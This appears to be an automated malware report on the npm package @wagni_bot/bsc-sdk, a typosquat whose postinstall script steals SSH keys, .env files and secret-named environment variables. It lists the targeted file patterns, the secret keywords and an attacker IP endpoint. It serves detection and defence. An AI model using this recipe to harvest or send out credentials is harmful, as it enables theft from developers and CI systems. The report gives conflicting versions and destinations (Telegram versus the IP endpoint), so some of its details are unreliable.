@wagni_bot/bsc-sdk@1.0.0: Malicious npm security report (Block)

AI Security Review

scanned 9h ago · by lpm-firewall-ai

The package runs an install-time script that harvests secrets and exfiltrates them to Telegram. The behavior is unrelated to the empty SDK entrypoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install of @wagni_bot/bsc-sdk@1.0.0

Impact

Leaks environment secrets, SSH keys/config, wallet or seed material, credential files, and host metadata to an attacker-controlled Telegram chat.

Mechanism

postinstall credential and file exfiltration

Attack narrative

During npm install, package.json runs postinstall.js. That script reports host/user/cwd/platform data, scans the project directory, home directory, and ~/.ssh for secret-related filenames, reads matched contents, collects credential-like environment variables, and sends the data to Telegram using a hardcoded bot token and chat id.

Rationale

Read-only source inspection confirms concrete install-time credential and sensitive file exfiltration to Telegram with no user consent or package-aligned purpose. This is malicious malware behavior and should be blocked.

Summary

Malicious code in @wagni_bot/bsc-sdk (npm)

Details

@wagni_bot/bsc-sdk@1.1.0 is a typosquat of BSC-SDK-family packages whose sole purpose is credential theft at install time. index.js exports an empty object; the package provides no advertised BNB Smart Chain functionality. The postinstall lifecycle script recursively scans the current working directory, the user's home directory, and ~/.ssh for files matching id_rsa, id_ed25519, *.pem, *.key, *.cred, and.env, and POSTs their contents to a hardcoded bare-IP endpoint at http://107.161.90.180:7777. In parallel, it enumerates process.env for keys containing PRIVATE, SECRET, TOKEN, API_KEY, PASSWORD, MNEMONIC, SEED, WALLET, or AWS and transmits the matching key=value pairs along with hostname, username, and cwd to the same endpoint. The destination is a plaintext HTTP bare IP on a non-standard port, consistent with throwaway stealer infrastructure. Every developer and CI runner that runs `npm install` on this package has their SSH private keys, PEM certificates, and credential-shaped environment variables shipped to the attacker.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines install-time postinstall: node postinstall.js
postinstall.js POSTs to https://api.telegram.org/bot.../sendMessage using hardcoded bot token/chat id
postinstall.js scans process.cwd(), os.homedir(), and ~/.ssh for .env, credentials, keys, wallet, seed, mnemonic, and secret files
postinstall.js reads matched file contents and sends them via sendFile()
postinstall.js filters process.env for PRIVATE/SECRET/TOKEN/API_KEY/PASSWORD/MNEMONIC/SEED/WALLET/AWS and sends values
index.js is empty, leaving no benign SDK behavior to justify the install hook

Evidence against

No child_process, eval, or native binary loading observed
No persistence or destructive filesystem writes observed
